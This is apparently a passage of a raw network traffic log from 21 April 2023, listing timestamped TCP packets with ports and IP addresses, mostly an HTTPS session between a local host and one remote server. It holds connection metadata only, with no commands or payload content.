Apr 21, 2023 01:04:56.772695065 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772703886 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772747040 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772782087 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772793055 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772834063 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772839069 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772872925 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772877932 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772898912 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772910118 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.772934914 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.772962093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.773047924 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.773168087 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.773190022 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.773269892 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.773324013 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:56.979511976 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:56.979598999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:57.391473055 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:57.391592979 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:58.227427959 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:58.227547884 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.858635902 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.858696938 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858736038 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858799934 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.858819008 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858872890 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.858885050 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858906031 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858927011 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.858944893 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858966112 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.858992100 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859004021 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.859039068 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859050989 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.859090090 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859107018 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.859147072 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859158993 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.859199047 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859215021 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859247923 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.859263897 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859313011 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859549999 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.859580040 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:04:59.859752893 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:04:59.985558033 CEST	80	49691	208.95.112.1	192.168.2.3
Apr 21, 2023 01:04:59.985666990 CEST	49691	80	192.168.2.3	208.95.112.1
Apr 21, 2023 01:05:00.067471981 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.067584991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115129948 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115171909 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.115324974 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.115587950 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.115647078 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.115710020 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115710020 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115710020 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115710974 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115710974 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.115748882 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.115828991 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.115886927 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.116041899 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.116266012 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.116333961 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.327425957 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.327527046 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.391199112 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.391242981 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.391267061 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.391375065 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.391390085 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.391406059 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.391453981 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.391516924 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.391516924 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.411776066 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.411827087 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.411869049 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.411884069 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.412242889 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.412269115 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.412303925 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.412345886 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.412501097 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.412683010 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.594743013 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.594770908 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.594796896 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.594964027 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.595020056 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.615343094 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.615371943 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.615416050 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.615437031 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.615453959 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.615648031 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.615822077 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.615932941 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.827507019 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.827620029 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.946410894 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.946463108 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.946510077 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.946679115 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.946746111 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.973989010 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.974035978 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.974092960 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.974128008 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.974339008 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.974360943 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.974380970 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.974452019 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.974473953 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:00.974539042 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.974564075 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.974668026 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:00.974741936 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.183414936 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.183598995 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.379429102 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.379484892 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.379532099 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.379642963 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.379704952 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.460186005 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.460251093 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.460304022 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.460335016 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.460347891 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.460494041 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.460527897 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.460632086 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.460655928 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.460743904 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.460824966 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.460856915 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:01.667448997 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:01.667551041 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.080707073 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.080775976 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.080831051 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.080852032 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.080949068 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.080980062 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.081037045 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.081037045 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.081062078 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.172384024 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.172482967 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.172611952 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.172693014 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.172794104 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.172794104 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.172825098 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.172960997 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.173104048 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.173105001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.173124075 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.173198938 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.173377991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.173377991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.173377991 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.173414946 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.383430004 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.383562088 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.480495930 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.480537891 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.480566025 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.480674028 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.480756044 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.581141949 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.581187010 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.581219912 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.581243992 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.581254005 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.581393957 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.581413984 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.581527948 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.581542969 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.581629038 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.581700087 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.581744909 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.787431002 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.787523985 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.969151974 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.969208956 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.969234943 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:02.969325066 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:02.969413042 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.109455109 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.109483957 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.109507084 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.109533072 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.109539032 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.109648943 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.109664917 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.109813929 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.109826088 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.109900951 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.109989882 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.153522968 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.153573036 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.153671980 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.154309034 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.154323101 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.221477032 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.222230911 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.222265005 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.223710060 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.223819017 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.319427967 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.319513083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.504060984 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.504133940 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.504159927 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.504281044 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.504410982 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.638339043 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.638837099 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.638896942 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.641783953 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.641820908 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.641843081 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.641868114 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.641874075 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.642026901 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.642049074 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.642286062 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.642308950 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.642360926 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.642374039 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.642522097 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.642566919 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.679423094 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.731481075 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.731533051 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.840879917 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.851414919 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:03.851567030 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:03.986668110 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.986836910 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:03.986839056 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:03.986910105 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:04.240886927 CEST	49706	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:04.240920067 CEST	443	49706	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:04.254229069 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.254280090 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.254306078 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.254415989 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.254472017 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.459448099 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.459661007 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806034088 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806097031 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806123018 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806319952 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806332111 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806340933 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806355000 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806384087 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806390047 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806431055 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806437969 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806449890 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806487083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806490898 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806508064 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806561947 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806566954 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806631088 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806724072 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806750059 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.806783915 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:04.806870937 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:04.997291088 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:04.997353077 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:04.997471094 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:04.997733116 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:04.997766018 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:05.011495113 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:05.011578083 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:05.064610958 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:05.065100908 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:05.065169096 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:05.065737963 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:05.066236973 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:05.066390991 CEST	443	49707	142.250.180.164	192.168.2.3
Apr 21, 2023 01:05:05.108376980 CEST	49707	443	192.168.2.3	142.250.180.164
Apr 21, 2023 01:05:05.427443981 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:05.427686930 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.255472898 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.255629063 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.762096882 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.762132883 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.762151003 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.762228966 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.762238979 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.762295008 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.762300014 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.762322903 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.762347937 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.762382984 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.955705881 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.955754042 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.955792904 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.955821991 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.955930948 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.955951929 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.956029892 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.956048965 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.956085920 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.956110001 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.956121922 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.956159115 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.956252098 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.956373930 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:06.956397057 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:06.956459045 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.163427114 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.163624048 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.599458933 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.599682093 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.909789085 CEST	49697	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:05:07.909827948 CEST	443	49697	144.76.136.153	192.168.2.3
Apr 21, 2023 01:05:07.909848928 CEST	443	49697	144.76.136.153	192.168.2.3
